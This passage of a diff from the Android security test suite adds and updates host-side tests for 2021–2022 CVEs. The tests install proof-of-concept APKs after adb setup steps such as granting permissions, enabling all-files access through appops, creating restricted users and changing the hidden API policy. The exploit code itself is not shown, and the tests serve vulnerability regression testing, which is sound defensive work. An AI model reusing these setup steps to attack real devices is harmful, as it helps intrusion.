+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39704 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 209965481)
+ @Test
+ public void testPocCVE_2021_39704() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2021_39704";
+
+ ITestDevice device = getDevice();
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39704.apk");
+ AdbUtils.runCommandLine(
+ "pm revoke " + "android.security.cts.CVE_2021_39704 "
+ + "android.permission.ACCESS_COARSE_LOCATION",
+ device);
+
+ runDeviceTests(testPkg, testPkg + "." + "DeviceTest",
+ "testdeleteNotificationChannelGroup");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
index cd8afef86e4..ecf096f31d1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -21,7 +21,7 @@ import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39706 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 200164168)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
new file mode 100644
index 00000000000..e40cea6bbfb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39707 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 200688991)
+ @Test
+ public void testPocCVE_2021_39707() {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2021_39707";
+ int userId = -1;
+ try {
+ // Wake up the screen
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ // Create restricted user
+ String commandOutput = AdbUtils.runCommandLine(
+ "pm create-user --restricted CVE_2021_39707_RestrictedUser", device);
+
+ // Extract user id of the restricted user
+ String[] tokens = commandOutput.split("\\s+");
+ assumeTrue(tokens.length > 0);
+ assumeTrue(tokens[0].equals("Success:"));
+ userId = Integer.parseInt(tokens[tokens.length - 1]);
+
+ // Install PoC application
+ installPackage("CVE-2021-39707.apk");
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testAppRestrictionsFragment");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Back to home screen after test
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ if (userId != -1) {
+ // Remove restricted user
+ AdbUtils.runCommandLine("pm remove-user " + userId, device);
+ }
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
index 0ae1efa8e83..d67b4e6d53f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
@@ -18,7 +18,7 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39794 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2021-39794-test.apk";
static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java
new file mode 100644
index 00000000000..a427e65169a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39795 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_39795";
+ private static final String DIR_PATH = "/storage/emulated/0/Android/data/CVE-2021-39795-dir";
+
+ @AsbSecurityTest(cveBugId = 201667614)
+ @Test
+ public void testPocCVE_2021_39795() {
+ ITestDevice device = null;
+ try {
+ device = getDevice();
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39795.apk");
+
+ /* Make a directory inside "Android/data" folder */
+ AdbUtils.runCommandLine("mkdir " + DIR_PATH, device);
+
+ /* Allow Read and Write to external storage */
+ AdbUtils.runCommandLine(
+ "pm grant " + TEST_PKG + " android.permission.READ_EXTERNAL_STORAGE", device);
+ AdbUtils.runCommandLine(
+ "pm grant " + TEST_PKG + " android.permission.WRITE_EXTERNAL_STORAGE", device);
+
+ /* Allow the app to manage all files */
+ AdbUtils.runCommandLine(
+ "appops set --uid " + TEST_PKG + " MANAGE_EXTERNAL_STORAGE allow", device);
+
+ runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testFilePresence");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ AdbUtils.runCommandLine("rm -rf " + DIR_PATH, device);
+ } catch (Exception e) {
+ // ignore the exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
index f90cae0c295..07fa92757d9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
@@ -20,14 +20,14 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39796 extends NonRootSecurityTestCase {
static final int USER_ID = 0;
static final String TEST_PKG = "android.security.cts.CVE_2021_39796";
static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
index ee835f50c93..1707ce92429 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
@@ -20,13 +20,13 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39797 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39797 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 209607104)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
index 1c1b246b0e5..0053fc6d219 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -20,18 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
-import com.android.tradefed.device.ITestDevice;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.After;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.Arrays;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39804 extends SecurityTestCase {
+public class CVE_2021_39804 extends NonRootSecurityTestCase {
/**
* b/215002587
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java
new file mode 100644
index 00000000000..f1eaad2edf7
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39808 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 209966086)
+ @Test
+ public void testPocCVE_2021_39808() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2021_39808";
+
+ ITestDevice device = getDevice();
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39808.apk");
+ runDeviceTests(testPkg, testPkg + "." + "DeviceTest","testService");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
index f9520824b26..9745336f8aa 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
@@ -21,14 +21,14 @@ import static org.junit.Assume.assumeNoException;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39810 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 212610736)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
index df8701c9e67..ec4d1977c01 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
@@ -18,7 +18,7 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20004 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20004 extends NonRootSecurityTestCase {
final static String TEST_PKG = "android.security.cts.CVE_2022_20004_test";
final static String PROVIDER_PKG = "android.security.cts.CVE_2022_20004_provider";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
index 47ea7ca8a47..abc94f5837c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
@@ -20,7 +20,7 @@ import static org.junit.Assume.assumeNoException;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,7 +28,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20007 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20007 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 211481342)
@Test
@@ -37,10 +37,12 @@ public class CVE_2022_20007 extends StsExtraBusinessLogicHostTestBase {
final String testClass = testPkg + "." + "DeviceTest";
final String testApp = "CVE-2022-20007.apk";
final String testAttackerApp = "CVE-2022-20007-Attacker.apk";
+ final String testSecondApp = "CVE-2022-20007-Second.apk";
ITestDevice device = getDevice();
try {
installPackage(testApp);
installPackage(testAttackerApp);
+ installPackage(testSecondApp);
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
index a8256d6bef0..e83f090e94d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
@@ -18,7 +18,7 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20115 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20115 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2022_20115";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2022-20115.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
index 8fbf4435029..baa87075b75 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
@@ -20,6 +20,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -28,7 +29,7 @@ import org.junit.runner.RunWith;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20123 extends SecurityTestCase {
+public class CVE_2022_20123 extends NonRootSecurityTestCase {
/**
* b/221852424
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
index c94380457de..91f8e666ab6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
@@ -18,6 +18,7 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -25,7 +26,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20127 extends SecurityTestCase {
+public class CVE_2022_20127 extends NonRootSecurityTestCase {
/**
* b/221862119
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
index 08b28b63724..1aeaa1d80fd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
@@ -22,15 +22,16 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20131 extends SecurityTestCase {
+public class CVE_2022_20131 extends NonRootSecurityTestCase {
/**
* b/221856662
* Vulnerability Behaviour: SIGSEGV in self
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
index 45c6fb137fc..9e5e7eb94b4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
@@ -18,7 +18,7 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20138 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20138 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2022-20138.apk";
static final String TEST_PKG = "android.security.cts.CVE_2022_20138";
static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
index 41a727f857e..5b1d38ca53f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
@@ -22,15 +22,16 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20147 extends SecurityTestCase {
+public class CVE_2022_20147 extends NonRootSecurityTestCase {
/**
* b/221216105
* Vulnerability Behaviour: SIGSEGV in self
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
new file mode 100644
index 00000000000..3d31cee17c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20197 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2022_20197";
+
+ @AsbSecurityTest(cveBugId = 208279300)
+ @Test
+ public void testPocCVE_2022_20197() {
+ ITestDevice device = null;
+ boolean isPolicyPresent = true;
+ boolean isHiddenApiEnabled = true;
+ String status = "";
+ try {
+ device = getDevice();
+ installPackage("CVE-2022-20197.apk");
+
+ status = AdbUtils.runCommandLine("settings get global hidden_api_policy", device);
+ if (status.toLowerCase().contains("null")) {
+ isPolicyPresent = false;
+ } else if (!status.toLowerCase().contains("1")) {
+ isHiddenApiEnabled = false;
+ }
+ if (!isPolicyPresent || !isHiddenApiEnabled) {
+ AdbUtils.runCommandLine("settings put global hidden_api_policy 1", device);
+ }
+ runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testParcel");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ if (!isPolicyPresent) {
+ AdbUtils.runCommandLine("settings delete global hidden_api_policy", device);
+ } else if (!isHiddenApiEnabled) {
+ AdbUtils.runCommandLine("settings put global hidden_api_policy " + status,
+ device);
+ }
+ } catch (Exception e) {
+ // ignore all exceptions.
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
index f593f204bd6..18d4cdd6f55 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
@@ -21,7 +21,7 @@ import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20223 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20223 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 223578534)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
index 1886a4af4ac..59e7631b287 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
@@ -20,7 +20,7 @@ import static org.junit.Assume.assumeNoException;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,7 +28,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20230 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20230 extends NonRootSecurityTestCase {
public static final int USER_ID = 0;
static final String TEST_APP = "CVE-2022-20230.apk";
static final String TEST_PKG = "android.security.cts.CVE_2022_20230";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
index de245bb06da..8087e692b5f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
@@ -20,7 +20,7 @@ import static org.junit.Assume.assumeNoException;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,7 +28,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20347 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 228450811)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java
new file mode 100644
index 00000000000..df33a31144d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
